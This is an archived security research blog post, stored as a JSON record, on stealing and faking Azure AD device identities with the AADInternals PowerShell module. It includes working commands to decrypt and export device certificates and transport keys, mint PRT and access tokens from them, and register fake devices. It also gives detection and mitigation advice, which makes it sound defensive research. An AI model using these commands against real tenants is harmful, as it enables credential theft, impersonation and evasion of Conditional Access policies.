{
	"id": "5129de3d-8ed4-4a9b-b4b2-bb14d778a76f",
	"created_at": "2026-04-06T00:18:32.798392Z",
	"updated_at": "2026-04-10T13:11:55.629237Z",
	"deleted_at": null,
	"sha1_hash": "aa2a2a4c4ca26095e8bc669f20e13f29dfb7804c",
	"title": "Stealing and faking Azure AD device identities",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 915433,
	"plain_text": "Stealing and faking Azure AD device identities\r\nBy About Dr Nestori Syynimaa (@DrAzureAD)\r\nPublished: 2022-02-15 · Archived: 2026-04-05 17:20:19 UTC\r\nIntroduction\r\nAccessing the certificate and keys\r\nDevice Certificate (dkpub / dkpriv)\r\nTransport keys (tkpub / tkpriv)\r\nRound 1\r\nRound 2\r\nDecrypting private keys\r\nStealing the device identity\r\nDevice Certificate and keys\r\nTransport keys\r\nDetecting\r\nUsing the stolen device identity\r\nFaking device identity\r\nSummary\r\nReferences\r\nIn my previous blog posts I’ve covered details on PRTs, BPRTs, device compliance, and Azure AD device join.\r\nhttps://aadinternals.com/post/deviceidentity/\r\nPage 1 of 19\n\nIn this blog, I’ll show how to steal identities of existing Azure AD joined devices, and how to fake identies of\r\nnon-AAD joined Windows devices with AADInternals v0.6.6.\r\nIntroduction\r\nAs described in my earlier blog post, when the device is joined or registered to AAD, two set of keys are created.\r\nThese key sets are Device key (dkpub/dkpriv) and Transport key (tkpub/tkpriv). Both public keys (dkpub and\r\ntkpub) are sent to Azure AD. Public and private keys are stored in the device, either on disk (encrypted with\r\nDPAPI) or in TPM.\r\nThanks to tools like Mimikatz, I knew that those keys could be exported from the devices!\r\nHowever, this requires two things:\r\nThe target computer is NOT using TPM\r\nThe attacker has local admin permissions to target computer\r\nAccessing the certificate and keys\r\nThe first task of the journey was to find out is it really possible to export the keys. To do that, I needed to find the\r\nkeys!\r\nLuckily, Microsoft have a great document showing the locations of keys.\r\nMicrosoft legacy CryptoAPI CSP:\r\nKey type Directories\r\nUser private\r\n%APPDATA%\\Microsoft\\Crypto\\RSA\\User SID\\\r\n%APPDATA%\\Microsoft\\Crypto\\DSS\\User SID\r\nLocal system private\r\n%ALLUSERSPROFILE%\\Application Data\\Microsoft\\Crypto\\RSA\\S-1-5-18\\\r\n%ALLUSERSPROFILE%\\Application Data\\Microsoft\\Crypto\\DSS\\S-1-5-18\r\nLocal service private\r\n%ALLUSERSPROFILE%\\Application Data\\Microsoft\\Crypto\\RSA\\S-1-5-19\\\r\n%ALLUSERSPROFILE%\\Application Data\\Microsoft\\Crypto\\DSS\\S-1-5-19\r\nNetwork service private\r\n%ALLUSERSPROFILE%\\Application Data\\Microsoft\\Crypto\\RSA\\S-1-5-20\\\r\n%ALLUSERSPROFILE%\\Application Data\\Microsoft\\Crypto\\DSS\\S-1-5-20\r\nShared private\r\n%ALLUSERSPROFILE%\\Application Data\\Microsoft\\Crypto\\RSA\\MachineKeys\r\n%ALLUSERSPROFILE%\\Application Data\\Microsoft\\Crypto\\DSS\\MachineKeys\r\nMicrosoft Cryptography Next Generation (CNG):\r\nhttps://aadinternals.com/post/deviceidentity/\r\nPage 2 of 19\n\nKey type Directory\r\nUser private %APPDATA%\\Microsoft\\Crypto\\Keys\r\nLocal system private %ALLUSERSPROFILE%\\Application Data\\Microsoft\\Crypto\\SystemKeys\r\nLocal service private %WINDIR%\\ServiceProfiles\\LocalService\r\nNetwork service private %WINDIR%\\ServiceProfiles\\NetworkService\r\nShared private %ALLUSERSPROFILE%\\Application Data\\Microsoft\\Crypto\\Keys\r\nDevice Certificate (dkpub / dkpriv)\r\nI already knew that the Device Certificate of Azure AD joined computer is located in Personal store of Local\r\nComputer. The subject of that certificate matches the Device Id of that device.\r\nhttps://aadinternals.com/post/deviceidentity/\r\nPage 3 of 19\n\nThere are other device related information stored to the certificate in Object Identifiers (OIDs). The Device\r\nRegistration (DRS) protocol documentation has a list of some of them, but not all, so I had to do some research on\r\nthose too.\r\nHere is what I found:\r\nOID Value type Value\r\n1.2.840.113556.1.5.284.2 Guid DeviceId\r\n1.2.840.113556.1.5.284.3 Guid ObjectId\r\n1.2.840.113556.1.5.284.5 Guid TenantId\r\n1.2.840.113556.1.5.284.7 String\r\nJoin type:\r\n0 = registered\r\n1 = joined\r\n1.2.840.113556.1.5.284.8 String\r\nTenant region:\r\nAF = Africa\r\nAS = Asia\r\nAP = Australia/Pasific\r\nEU = Europe\r\nME = Middle East\r\nNA = North America\r\nSA = South America\r\nThe OID values are DER encoded. The first byte 0x04 means BITSTRING, and the second byte the length of\r\nlength in bytes (0x80 = LENGTH, 0x01 = one byte, 0x80+0x01=0x81). The third is the length of the data in bytes,\r\nand the remaining bytes the actual data. For instance, the tenant id is just a byte array presentation of guid object,\r\nwhere the bytes are grouped differently:\r\nhttps://aadinternals.com/post/deviceidentity/\r\nPage 4 of 19\n\nBut how does Windows know which certificate to use as a Device Certificate? And where the private key is\r\nstored?\r\nMost of you already know that dsregcmd /status can be used to show details about AAD Joined and AAD\r\nRegistered devices similar to this (not all information shown):\r\n 1+----------------------------------------------------------------------+\r\n 2| Device State |\r\n 3+----------------------------------------------------------------------+\r\n 4\r\n 5 AzureAdJoined : YES\r\n 6 EnterpriseJoined : NO\r\n 7 DomainJoined : NO\r\n 8 Device Name : AADJoin02\r\n 9\r\n10+----------------------------------------------------------------------+\r\n11| Device Details |\r\n12+----------------------------------------------------------------------+\r\n13\r\n14 DeviceId : ea77c7d5-7b2f-4567-bf0c-c0a4ceb8b679\r\n15 Thumbprint : CEC55C2566633AC8DA3D9E3EAD98A599084D0C4C\r\nhttps://aadinternals.com/post/deviceidentity/\r\nPage 5 of 19\n\n16 DeviceCertificateValidity : [ 2022-01-28 11:15:49.000 UTC -- 2032-01-28 11:45:49.000 UTC ]\r\n17 KeyContainerId : 0ad54eab-ba59-4d5b-8ee6-be18fd62b881\r\n18 KeyProvider : Microsoft Software Key Storage Provider\r\n19 TpmProtected : NO\r\n20 DeviceAuthStatus : SUCCESS\r\n21\r\n22+----------------------------------------------------------------------+\r\n23| Tenant Details |\r\n24+----------------------------------------------------------------------+\r\n25\r\n26 TenantName : Contoso\r\n27 TenantId : c5ff949d-2696-4b68-9e13-055f19ed2d51\r\n28 Idp : login.windows.net\r\n29 AuthCodeUrl : https://login.microsoftonline.com/c5ff949d-2696-4b68-9e13-055f19ed2d51/oauth2/aut\r\n30 AccessTokenUrl : https://login.microsoftonline.com/c5ff949d-2696-4b68-9e13-055f19ed2d51/oauth2/tok\r\n31 MdmUrl :\r\n32 MdmTouUrl :\r\n33 MdmComplianceUrl :\r\n34 SettingsUrl :\r\n35 JoinSrvVersion : 2.0\r\n36 JoinSrvUrl : https://enterpriseregistration.windows.net/EnrollmentServer/device/\r\n37 JoinSrvId : urn:ms-drs:enterpriseregistration.windows.net\r\n38 KeySrvVersion : 1.0\r\n39 KeySrvUrl : https://enterpriseregistration.windows.net/EnrollmentServer/key/\r\n40 KeySrvId : urn:ms-drs:enterpriseregistration.windows.net\r\n41 WebAuthNSrvVersion : 1.0\r\n42 WebAuthNSrvUrl : https://enterpriseregistration.windows.net/webauthn/c5ff949d-2696-4b68-9e13-055f1\r\n43 WebAuthNSrvId : urn:ms-drs:enterpriseregistration.windows.net\r\n44 DeviceManagementSrvVer : 1.0\r\n45 DeviceManagementSrvUrl : https://enterpriseregistration.windows.net/manage/c5ff949d-2696-4b68-9e13-055f19e\r\n46 DeviceManagementSrvId : urn:ms-drs:enterpriseregistration.windows.net\r\n47\r\n48+----------------------------------------------------------------------+\r\n49| User State |\r\n50+----------------------------------------------------------------------+\r\n51\r\n52 NgcSet : NO\r\n53 WorkplaceJoined : NO\r\n54 WamDefaultSet : NO\r\n55\r\n56+----------------------------------------------------------------------+\r\n57| SSO State |\r\n58+----------------------------------------------------------------------+\r\n59\r\n60 AzureAdPrt : NO\r\n61 AzureAdPrtAuthority :\r\n62 EnterprisePrt : NO\r\nhttps://aadinternals.com/post/deviceidentity/\r\nPage 6 of 19\n\n63 EnterprisePrtAuthority :\r\n64\r\n65+----------------------------------------------------------------------+\r\n66| Diagnostic Data |\r\n67+----------------------------------------------------------------------+\r\n68\r\n69 AadRecoveryEnabled : NO\r\n70 Executing Account Name : AADJOIN02\\PCUser\r\n71 KeySignTest : PASSED\r\nThe output shows some interesting things, like thumbprint matching the Device Certificate thumbprint (line 15),\r\ntenant id (line 27) and KeySignTest result (line 71). So, time to start up Process Monitor to see what happens\r\nwhen the dsregcmd /status is executed.\r\nSearching for thubmprint revealed that desregcmd.exe was accessing the following registry keys/values:\r\nThis tells us that there is a registry key matching the certificate thumbprint:\r\nHKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\CloudDomainJoin\\JoinInfo\\\u003cthumbprint\u003e\r\nNext, I found another registry key, containing most of the Tenant details shown by dsregcmd:\r\nThis tells us that there is a registry key matching the tenant id:\r\nHKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\CloudDomainJoin\\TenantInfo\\\u003ctenant id\u003e\r\nhttps://aadinternals.com/post/deviceidentity/\r\nPage 7 of 19\n\nWhile browsing down the procmon output, I found that lsass.exe was first reading the Device Certificate and then\r\nread a file from folder that was NOT one of the CNG key stores:\r\nSo lsass.exe must be reading something from the certificate that tells where the key is stored. After some intensive\r\nGoogling, I found at there is some information about the private key that could be read. The following PowerShell\r\nscript dumps the unique name of the private key of the Device Certificate.\r\n# Read the certificate\r\n$certificate = Get-Item Cert:\\LocalMachine\\My\\CEC55C2566633AC8DA3D9E3EAD98A599084D0C4C\r\n# Dump the unique name of private key\r\n[System.Security.Cryptography.X509Certificates.RSACertificateExtensions]::GetRSAPrivateKey($certificate).key.uni\r\nThe output shows that the unique matches the key file from above!\r\n8bff0b7f02f6256b521de95a77d4e70d_321154c9-4462-4db7-aa81-81912067ab9a\r\nThis tells us that dkpub and dkpriv are stored to:\r\n%ALLUSERSPROFILE%\\Microsoft\\Crypto\\Keys\\\u003cunique name of dkpriv\u003e\r\nNote! For AAD Registered devices, dkpub and dkpriv are stored to:\r\n%APPDATA%\\Microsoft\\Crypto\\Keys\\\u003cunique name of dkpriv\u003e\r\nTransport keys (tkpub / tkpriv)\r\nFinding the location of tkpub and tkpriv was way more harder than for dkpub and dkpriv.\r\nRound 1\r\nI searched the procmon output for “transportkey” and found that lsass.exe was accessing the following registry\r\nkey to read SoftwareKeyTransportKey.\r\nhttps://aadinternals.com/post/deviceidentity/\r\nPage 8 of 19\n\nNext I noticed that lsass.exe was looping through the files at SystemKeys until it seemed to find the correct key\r\nfile.\r\nHowever, the file name did not match anything I had seen in registry. So how did lsass.exe know which to\r\nchoose? Opening the key file in my favourite hex editor HxD showed that the key file had a unicode string\r\nmatching the SoftwareKeyTransportKey!\r\nAt this point I thought that I had all I needed and jumped to decrypting the private keys and implemented the\r\nfunctions to AADInternals. However, everything worked only for one tenant ☹\r\nRound 2\r\nAfter doing some further testing, it turned out that the registry paths where the key filename was stored were NOT\r\nconstants, but they had dependencies on the user (for AAD Registered device) and the tenant. It took me almost a\r\nhttps://aadinternals.com/post/deviceidentity/\r\nPage 9 of 19\n\nmonth to figure out how to “calculate” the registry keys. And the fact that AAD Joined and AAD Registered were\r\nusing different registry keys didn’t made it any easier.\r\nSo, it was time to bring in the big guns! I started Process Monitor and let in ran while I AAD Registered a device.\r\nI didn’t find anything new though (except totally different registry key name). However, checking the call stack\r\nrevealed calls fo NgcPregenKey function of ngcpopkeysrv.dll.\r\nNext, I fired up my old friend API Monitor and decided to boldly go where no one should ever go: monitor\r\nlsass.exe during the AAD Register process 😱\r\nI selected all possible APIs, hooked to lsass.exe and registered the device to AAD. After that, I detached from the\r\nlsass.exe. At this point, Windows announced that it didn’t liked that and told me I had one minute to save my work\r\nbefore reboot 🥶\r\nLuckily, I managed to save the API Monitor capture and started to study it. I searched for the first part of the\r\nregistry path shown in the procmon dump above (“ad8098d0”) and got a match!\r\nhttps://aadinternals.com/post/deviceidentity/\r\nPage 10 of 19\n\nOnce again a reference to ngcpopkeysrv.dll. With high hopes, I opened the file in dnSpy but it was not a .NET dll\r\n😒\r\nThe last hope was Ghidra, which I had just recently installed. After I had it up and running and the dll was loaded,\r\nI started by searching for CryptBinaryToStringW and found a match!\r\nI started to work backwards to find which functions were calling this one. As Ghidra names all the functions as\r\nFUN_xxx (even there is nothing fun about Ghidra!), I renamed functions for something more meaningful, like\r\nxConvertBinaryToString above.\r\nFinally, I found a location where I saw something hard coded passed to one of the functions:\r\nhttps://aadinternals.com/post/deviceidentity/\r\nPage 11 of 19\n\nSo, the string “login.live.com” was passed as unicode string to a function I renamed to\r\nxConvertValueToHexString.\r\nBefore calling the function I renamed to xConvertBinaryToString, there was a call to BCryptHash. It seems\r\nthat Ghidra messed that call somehow, as the parameters did not make any sense.\r\nhttps://aadinternals.com/post/deviceidentity/\r\nPage 12 of 19\n\nAs all the registry keys were 64 charactes long, the hash had to be SHA256. So, I quickly created a PowerShell\r\nscript that read all the values from JoinInfo and TenantInfo, converted to unicode byte array, and calculated the\r\nSHA256 hashes. Profit ! 💰💰💰\r\nFor Azure AD Joined devices, the first key under PerDeviceKeyTransportKey is IdpDomain from JoinInfo.\r\nThis is always login.windows.net. The second key under that is TenantId.\r\nThe transport key name of AAD Joined device is located to:\r\nHKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Cryptography\\Ngc\\KeyTransportKey\\PerDeviceKeyTransportKey\\\u003c\r\nFor Azure AD Registered devices I found out that one part was UserEmail from JoinInfo. I still had to do some\r\nmore digging as there was still one part missing. I found the last hint from the procmon output. There was a call to\r\nmemcpy a couple of lines before call to CryptBinaryStringW. For me, it seemed a partial SID.\r\nAfter a quick test with PowerShell I could confirm that the missing part was indeed the SID of the current user!\r\nThe transport key name of AAD Registered device is located to:\r\nHKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Cryptography\\Ngc\\KeyTransportKey\\\u003cSHA256(sid)\u003e\\\u003cSHA256(idp)\r\nDecrypting private keys\r\nNow that we know the location of the keys, we need to export those. After debugging what Mimikatz’s\r\ncrypto::cng module did, I learned that the files were CNG key blobs, containing a set of dkpub/tkpub or\r\ndkpriv/tkpriv keys.\r\nhttps://aadinternals.com/post/deviceidentity/\r\nPage 13 of 19\n\nFor the dkpub/tkpub, there was one property record (Modified) and the actual keys in\r\nBCRYPT_RSAKEY_BLOB as BCRYPT_PUBLIC_KEY_BLOB.\r\nFor the dkpriv/tkpriv, there was an encrypted property blob (UI Policy, Device Identity, and Key Usage) and the\r\nactual keys in encrypted BCRYPT_RSAKEY_BLOB as BCRYPT_PRIVATE_KEY_BLOB including the\r\nprivate RSA parameters (P and Q).\r\nI also learned from the Mimikatz that dkpriv properties and key blob were both encrypted with our old friend\r\nDPAPI! So, they should be relatively easy to decrypt as I already had implemented functionality to elevate the\r\ncurrent process to lsass (which is required to get access to system keys) 😊\r\nAdd-Type -path \"$PSScriptRoot\\Win32Ntv.dll\"\r\n[AADInternals.Native]::copyLsassToken()\r\nAgain, Benjamin had done a great job by figuring out the entropy needed for both encrypted blobs. After banging\r\nmy head to the wall over a weekend, I realised that I was just missing the null terminator 🤣\r\nThe PowerShell code to decrypt the encrypted blobs:\r\n$DPAPI_ENTROPY_CNG_KEY_PROPERTIES = @(0x36,0x6A,0x6E,0x6B,0x64,0x35,0x4A,0x33,0x5A,0x64,0x51,0x44,0x74,0x72,0x7\r\n$DPAPI_ENTROPY_CNG_KEY_BLOB = @(0x78,0x54,0x35,0x72,0x5A,0x57,0x35,0x71,0x56,0x56,0x62,0x72,0x76,0x70,0x75\r\n# Decrypt the private key properties using DPAPI\r\n$decPrivateProperties = [Security.Cryptography.ProtectedData]::Unprotect($privatePropertiesBlob, $DPAPI_ENTROPY_\r\n# Decrypt the private key blob using DPAPI\r\n$decPrivateBlob = [Security.Cryptography.ProtectedData]::Unprotect($privateKeyBlob, $DPAPI_ENTROPY_CNG_KEY_BLOB,\r\nNote! For AAD Registered devices, use “CurrentUser” instead of “LocalMachine”\r\nThe encrypted private key was BCRYPT_PRIVATE_KEY_BLOB that has P and Q parameters, but the\r\nSystem.Security.Cryptography.RSAParameters would also need DP, DQ, InverseQ, and D parameters. This\r\ninformation would have been available in BCRYPT_RSAFULLPRIVATE_BLOB. The solution was to use\r\nNCryptImportKey to import the blob as RSAPRIVATEBLOB and export with NCryptExportKey as\r\nRSAFULLPRIVATEBLOB.\r\nLastly, I implemented the last missing part, a parser that was able to read\r\nBCRYPT_RSAFULLPRIVATE_BLOB and create a System.Security.Cryptography.RSAParameters object.\r\nStealing the device identity\r\nDevice Certificate and keys\r\nTo export the Device Certificate and keys, run the following command as administrator:\r\nhttps://aadinternals.com/post/deviceidentity/\r\nPage 14 of 19\n\n# Export the device certificate and keys:\r\nExport-AADIntLocalDeviceCertificate\r\nOutput:\r\nCertificate exported to ea77c7d5-7b2f-4567-bf0c-c0a4ceb8b679.pfx\r\nTransport keys\r\nTo export the Device Certificate and keys, run the following AADInternals functions as administrator:\r\n# Export the transport key:\r\nExport-AADIntLocalDeviceTransportKey\r\nOutput:\r\nWARNING: Running as LOCAL SYSTEM. You MUST restart PowerShell to restore AADJOIN02\\User rights.\r\nTransport key exported to ea77c7d5-7b2f-4567-bf0c-c0a4ceb8b679_tk.pem\r\nNote: Accessing transport keys requires local system rights, so AADInternals elevates the current session. This\r\ncan not be reversed, so you need to open a new PowerShell session to return “normal” rights. For AAD Registered\r\ndevices, export the Device Certificate and keys first!\r\nNow you can copy the certificate and transport key to another location to be used later.\r\nDetecting\r\nThe detection of exporting the Device certificate and dkpub/dkpriv \u0026 tkpub/tkpriv keys can only happen at the\r\nendpoint. The next day after publishing this blog post, Roberto Rodriguez (@Cyb3rWard0g) published detection\r\nquery for Sentinel here.\r\nFor short, you should set an access control entry (ACE) on system access control list (SACL) for the following\r\nregistry keys:\r\nKey Note\r\nHKLM:\\SYSTEM\\CurrentControlSet\\Control\\CloudDomainJoin AAD Joined devices\r\nHKCU:\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\WorkplaceJoin\r\nAAD Registered\r\ndevices\r\nHKLM:\\SYSTEM\\CurrentControlSet\\Control\\Cryptography\\Ngc\\KeyTransportKey Transport Key\r\nIf the user accessing these registry keys is NOT lsass, an alarm should be raised.\r\nhttps://aadinternals.com/post/deviceidentity/\r\nPage 15 of 19\n\nUsing the stolen device identity\r\nTo use the stolen identity, run the following AADInternals functions:\r\n# Save credentials to a variable (must be from the same tenant as the device)\r\n# If MFA is required, omit the credentials for interactive log in.\r\n$cred = Get-Credential\r\n# Get PRT settings:\r\n$prtKeys = Get-AADIntUserPRTKeys -Credentials $cred -PfxFileName .\\ea77c7d5-7b2f-4567-bf0c-c0a4ceb8b679.pfx -Tra\r\n# Create a PRT token:\r\n$prtToken = New-AADIntUserPRTToken -Settings $prtKeys -GetNonce\r\n# Get access token:\r\n$at = Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken\r\nOutput:\r\nKeys saved to ea77c7d5-7b2f-4567-bf0c-c0a4ceb8b679.json\r\nNow, let’s see how the access token looks like:\r\n# Dump the access token\r\nRead-AADIntAccesstoken -AccessToken $at\r\nOutput:\r\n 1aud : https://graph.windows.net\r\n 2iss : https://sts.windows.net/2cd0c645-212d-46cc-be2b-e3ab9b4434ac/\r\n 3iat : 1644169150\r\n 4nbf : 1644169150\r\n 5exp : 1644173781\r\n 6acr : 1\r\n 7amr : {pwd, rsa, mfa}\r\n 8appid : 1b730954-1685-4b74-9bfd-dac224a7b894\r\n 9appidacr : 0\r\n10deviceid : ea77c7d5-7b2f-4567-bf0c-c0a4ceb8b679\r\n11family_name : John\r\n12given_name : Doe\r\n13ipaddr : 214.63.172.228\r\n14name : John Doe\r\n15oid : 47bd560e-fd5e-42c5-b51b-ce963892805f\r\nhttps://aadinternals.com/post/deviceidentity/\r\nPage 16 of 19\n\n16onprem_sid : S-1-5-21-1357286652-147530443-861848650-6407\r\n17scp : user_impersonation\r\n18tenant_region_scope : EU\r\n19tid : 2cd0c645-212d-46cc-be2b-e3ab9b4434ac1\r\n20unique_name : JohnD@company.com\r\n21upn : JohnD@company.com\r\n22ver : 1.0\r\nAs we can see, the access tokens obtained using the PRT token will have the deviceId claim (line 10). Depending\r\non how did you get the PRT keys, you’ll also have rsa and possibly mfa claims (line 7).\r\nFaking device identity\r\nWhat about doing this the other way around - would it be possible to fake the identity of Windows computer? For\r\nshort, yes it is!\r\nWe have two options:\r\n1. Create a fake device identity with AADInternals\r\n2. Use the stolen identity\r\nOnly difference is that the former uses just one .pfx file, whereas the stolen identity has also the transport key in\r\n.pem file.\r\nWhen “joining” the local device, AADInternals emulates the real join process and will do the following:\r\nCreate a P2P certificate\r\nImport the device and P2P certificates\r\nImport P2P CA to AAD Token Issuer\r\nStore transportkey\r\nSet registry information\r\nStart scheduled tasks\r\nTo create a fake device with AADInternals:\r\n# Get an access token for AAD join and save to cache\r\nGet-AADIntAccessTokenForAADJoin -SaveToCache\r\n# Join the fake device to Azure AD\r\nJoin-AADIntDeviceToAzureAD -DeviceName \"My computer\" -DeviceType \"Commodore\" -OSVersion \"C64\"\r\nOutput should be similar to below.\r\nDevice successfully registered to Azure AD:\r\n DisplayName: \"My computer\"\r\n DeviceId: d03994c9-24f8-41ba-a156-1805998d6dc7\r\nhttps://aadinternals.com/post/deviceidentity/\r\nPage 17 of 19\n\nObjectId: afdeac87-b32a-41a0-95ad-0a555a91f0a4\r\n TenantId: 8aeb6b82-6cc7-4e33-becd-97566b330f5b\r\n Cert thumbprint: 78CC77315A100089CF794EE49670552485DE3689\r\n Cert file name : \"d03994c9-24f8-41ba-a156-1805998d6dc7.pfx\"\r\nLocal SID:\r\n S-1-5-32-544\r\nAdditional SIDs:\r\n S-1-12-1-797902961-1250002609-2090226073-616445738\r\n S-1-12-1-3408697635-1121971140-3092833713-2344201430\r\n S-1-12-1-2007802275-1256657308-2098244751-2635987013\r\nNow we are ready fake the identity of our non-AAD joined Windows computer! The device may have a TPM, that\r\ndoesn’t matter.\r\nTo “join” the computer with a fake identity created above:\r\n# Join the device using the fake identity\r\nJoin-AADIntLocalDeviceToAzureAD -UserPrincipalName \"JohnD@company.com\" -PfxFileName .\\d03994c9-24f8-41ba-a156-18\r\nOutput:\r\nDevice P2P certificate successfully created:\r\n Subject: \"CN=d03994c9-24f8-41ba-a156-1805998d6dc7, DC=8aeb6b82-6cc7-4e33-becd-97566b330f5b\"\r\n DnsNames: \"d03994c9-24f8-41ba-a156-1805998d6dc7\"\r\n Issuer: \"CN=MS-Organization-P2P-Access [2021]\"\r\n Cert thumbprint: A5F4752D34F90A8E7B14C985C4AA77AB583CD1F1\r\n Cert file name : \"d03994c9-24f8-41ba-a156-1805998d6dc7-P2P.pfx\"\r\n CA file name : \"d03994c9-24f8-41ba-a156-1805998d6dc7-P2P-CA.der\"\r\n \r\nDevice configured. To confirm success, restart and run: dsregcmd /status\r\nTo “join” the computer with the stolen identity from above:\r\n# Join the device using the stolen identity\r\nJoin-AADIntLocalDeviceToAzureAD -UserPrincipalName \"JohnD@company.com\" -PfxFileName .\\ea77c7d5-7b2f-4567-bf0c-c0\r\nAfter updating the join information, restart the computer and log in with the username used above.\r\nSummary\r\nIn this blog post, I showed three things:\r\nHow to export the device certificate and transport key of Azure Joined or Registered devices from\r\nWindows computers not having TPM\r\nHow to use the stolen device identity\r\nhttps://aadinternals.com/post/deviceidentity/\r\nPage 18 of 19\n\nHow to fake AAD Join by configuring non-AAD joined Windows computer to use the provided certificate\r\n(and transport key)\r\nStealing (and faking) device identities allows threat actors to access the target tenant using the identity of the\r\nstolen or faked device. This may allow evading device based Conditional Access (CA) policies, as the compliance\r\nof the device is assessed against the original device.\r\nTake-aways:\r\nUse only devices equipped with a TPM\r\nRemove local admin rights from standard users on AAD Joined devices\r\nDo not allow users to join their own devices\r\nReferences\r\nMicrosoft: Key Storage and Retrieval\r\nMicrosoft: Process Monitor\r\nMicrosoft: Troubleshoot devices by using the dsregcmd command\r\nBenjamin Delby: Mimikatz source code. kull_m_key.h\r\nMicrosoft: BCRYPT_RSAKEY_BLOB structure (bcrypt.h)\r\nSource: https://aadinternals.com/post/deviceidentity/\r\nhttps://aadinternals.com/post/deviceidentity/\r\nPage 19 of 19",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"MITRE"
	],
	"origins": [
		"web"
	],
	"references": [
		"https://aadinternals.com/post/deviceidentity/"
	],
	"report_names": [
		"deviceidentity"
	],
	"threat_actors": [],
	"ts_created_at": 1775434712,
	"ts_updated_at": 1775826715,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/aa2a2a4c4ca26095e8bc669f20e13f29dfb7804c.pdf",
		"text": "https://archive.orkl.eu/aa2a2a4c4ca26095e8bc669f20e13f29dfb7804c.txt",
		"img": "https://archive.orkl.eu/aa2a2a4c4ca26095e8bc669f20e13f29dfb7804c.jpg"
	}
}